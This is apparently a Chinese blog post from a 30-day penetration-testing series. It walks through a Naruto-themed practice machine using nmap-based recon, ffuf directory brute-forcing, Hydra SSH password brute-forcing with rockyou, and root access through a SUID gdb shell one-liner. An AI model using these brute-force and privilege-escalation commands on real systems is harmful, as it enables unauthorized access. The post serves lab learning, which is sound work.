iT邦幫忙

2025 iThome 鐵人賽

DAY 1
0

( 喜歡火影忍者的,可以來學一下角色的英文名字 XDD )

Recon

先來看看這台靶機上開了甚麼服務喔!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type recon;
https://ithelp.ithome.com.tw/upload/images/20250914/20178791HNBqEDkVqK.png

因為目前我們沒有有效的帳號密碼,所以現在只能朝 web 進攻
而且這個 web 除了我愛羅的臉以外,甚麼都沒有,目前有的選擇就是看看有沒有隱藏的路徑
https://ithelp.ithome.com.tw/upload/images/20250914/201787912dkMDTKRSX.png
在路徑爆破下面,我們可以發現一個叫做 Cryoserver 的頁面,裡面含著三個字串 http://gaara/Cryoserver
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://gaara/FUZZk
https://ithelp.ithome.com.tw/upload/images/20250914/20178791bXia40zfj3.png
https://ithelp.ithome.com.tw/upload/images/20250914/20178791A2NuTLzwuo.png

大概花了幾分鐘研究內容後,發現這些資訊都是對角色 Kazekage, Temari, Gaara 的背景描述
看起來幫不上甚麼忙...
https://ithelp.ithome.com.tw/upload/images/20250914/20178791Ok0I8YzObX.png

Initial Access

因為網站目前沒甚麼有用資訊,在一個沒招的狀況下
爆破 SSH 帳號密碼變成唯一的路,目前使用者的候選人有 Gaara, Kazekage, Temari, iamGaara
一一拿下去配合 rockyou 爆破吧!
在分別爆破兩分鐘後,終於有結果 (感動~)

hydra -l gaara -P /usr/share/wordlists/rockyou.txt -t 8 ssh://192.168.155.142
https://ithelp.ithome.com.tw/upload/images/20250914/20178791Lk9Xwq55kt.png

利用 gaara 還有剛找到的密碼登入這台靶機,拿到第一個 flag

ssh gaara@$tIP
https://ithelp.ithome.com.tw/upload/images/20250914/20178791pRlsyINQ9V.png

Privilege Escalation

在上傳 Linpeas 收集資料後,我們發現了 SUID 裡面有可愛的黃底提示
https://ithelp.ithome.com.tw/upload/images/20250914/20178791doN4yLZy4B.png
趕快把 gdb拿去 GTFObin上查查 (https://gtfobins.github.io/gtfobins/gdb/#suid )
把 ./gdb 改成我們找到的 /usr/bin/gdb 後順利提權
https://ithelp.ithome.com.tw/upload/images/20250914/20178791kUUh2lp4YN.png
/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

第二支 flag get!
https://ithelp.ithome.com.tw/upload/images/20250914/20178791DWHnwiYlo9.png


系列文
滲透探險 30 天:靶機挑戰記1
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言